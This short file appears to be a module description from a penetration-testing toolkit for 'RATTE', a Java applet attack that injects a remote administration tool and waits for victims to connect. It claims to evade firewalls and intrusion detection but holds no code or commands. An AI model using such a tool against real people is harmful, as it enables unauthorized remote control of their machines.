MAIN="RATTE Java Applet Attack (Remote Administration Tool Tommy Edition) - Read the readme/RATTE_README.txt first"

# This is RATTE (Remote Administration Tool Tommy Edition) attack module. It will launch a java applet attack to inject RATTE. Then it will launch RATTE-Server and wait for victim to connect. RATTE can beat local Firewalls, IDS and even EAL 4+ certified network firewalls.
# This release one is only for education!"
